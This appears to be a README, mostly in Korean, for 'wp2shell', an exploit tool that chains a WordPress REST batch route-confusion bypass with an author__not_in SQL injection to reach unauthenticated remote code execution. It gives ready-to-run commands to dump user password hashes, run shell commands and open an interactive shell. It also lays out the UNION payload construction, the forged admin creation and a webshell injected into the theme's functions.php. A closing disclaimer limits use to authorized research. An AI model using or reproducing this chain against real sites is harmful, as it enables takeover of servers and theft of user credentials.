
CVE-2026-63030 / wp2shell
WordPress RCE 익스플로잇 체인. 인증 불필요. CVSS 9.8.
| 브랜치 | 취약 버전 | 패치 버전 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 |
두 개의 CVE를 연결하여 인증 없이 원격 코드 실행(RCE)을 수행합니다:
CVE-2026-63030 (route confusion) → batch desync bypasses auth
+
CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL
↓
UNION-forge WP_Post rows → customizer changeset bridge → admin created
↓
Login as admin → theme editor → webshell → RCE
| 단계 | CVE | 벡터 |
|---|---|---|
| 1 | CVE-2026-63030 | REST /batch/v1 인덱스 정렬 오류로 검증과 디스패치 간 동기화가 어긋남 |
| 2 | CVE-2026-60137 | author__not_in WP_Query 매개변수가 문자열로 전달될 때 absint()를 건너뜀 |
| 3 | — | UNION SELECT로 wp_posts 행을 위조; oEmbed → 커스터마이저 → wp_insert_user |
| 4 | — | 새로 생성된 관리자로 인증 |
| 5 | — | 테마 편집기가 활성 테마에 토큰으로 보호된 웹셸을 주입 |
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check
# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users
# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"
# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell
# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"
# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami
--url URL Target WordPress base URL (required)
--check Probe only — do not exploit
--dump-users Extract all user credentials via UNION SQLi
--read SQL Read a scalar SQL expression from the database
--cmd CMD Run a shell command on the target
--shell Open an interactive shell
--user USER Admin username (skip pre-auth admin creation)
--password PASS Admin password (use with --user)
--proxy URL HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC Request timeout (default: 30)
--no-cleanup Leave webshell and admin user on target
/?rest_route=/batch/v1에 있는 WordPress의 배치 엔드포인트는 하위 요청 배열을 받습니다. 하위 요청에 파싱할 수 없는 경로(///)가 있으면 WP_Error가 $validation에 추가되지만 $matches에는 추가되지 않습니다. 그런 다음 디스패치 루프는 요청 N을 핸들러 N+1과 짝지으므로, 한 스키마에 대해 검증된 요청이 다른 핸들러로 디스패치됩니다.
익스플로잇은 각 계층이 위치 0에 desync 프라이머를 사용하여 인덱스를 이동시키는 3계층 중첩 배치를 전송합니다. 가장 안쪽 요청은 단일 게시물 항목(GET /wp/v2/posts/999999)으로 검증되지만 컬렉션 핸들러(posts->get_items())에 도달합니다. 항목 스키마는 author_exclude를 정의하지 않으므로, 해당 매개변수는 검증 없이 통과합니다.
get_items()는 author_exclude → author__not_in을 매핑하여 WP_Query에 전달합니다. author__not_in이 배열이 아닌 문자열일 때 array_map('absint', …) 블록은 건너뛰어집니다. 원시 문자열이 다음에 직접 들어갑니다:
WHERE post_author NOT IN (<payload>)
페이로드 0) UNION ALL SELECT …-- -는 NOT IN 목록을 닫고 임의의 SQL을 덧붙입니다.
WordPress 7.0.x의 wp_posts에는 정확히 23개의 컬럼이 있습니다. orderby=none(후행 ORDER BY를 억제)과 per_page=500(WP_Query를 전체 행 모드로 유지)을 사용하여 UNION ALL SELECT로 위조된 행을 주입하면, ||HEX|| 마커를 담은 위조된 게시물 제목이 REST 응답에 반영됩니다. 모든 문자열 값은 URL 인코딩을 통한 따옴표 이스케이프 문제를 피하기 위해 MySQL 16진수 리터럴(0x…)을 사용합니다.
[embed] 숏코드를 포함하는 게시물을 UNION으로 위조 → WordPress가 3개의 oembed_cache 행을 생성wp_posts 행을 UNION으로 위조[embed] 숏코드가 렌더링되어 WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user()가 트리거됨wp2_<random>)과 비밀번호(Wp2!<random>)로 관리자가 생성됨새 관리자로 로그인 → 테마 편집기 nonce 추출 → 활성 테마의 functions.php 맨 위에 토큰으로 보호되는 PHP 웹셸을 주입 → ?t=<token>&c=<command>를 통해 접근.
wp_remote_post() 루프백 검사를 수행합니다. 컨테이너가 호스트 이름으로 자기 자신에 접근할 수 없으면 테마 편집이 차단됩니다. 이러한 경우 --dump-users + 수동 로그인을 사용하십시오.--check로 테스트하십시오.$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available
$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
ID=1 login=admin
pass=$wp$2y$10$...
...
이 도구는 승인된 보안 연구 및 교육 목적으로만 사용됩니다. 소유한 시스템 또는 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.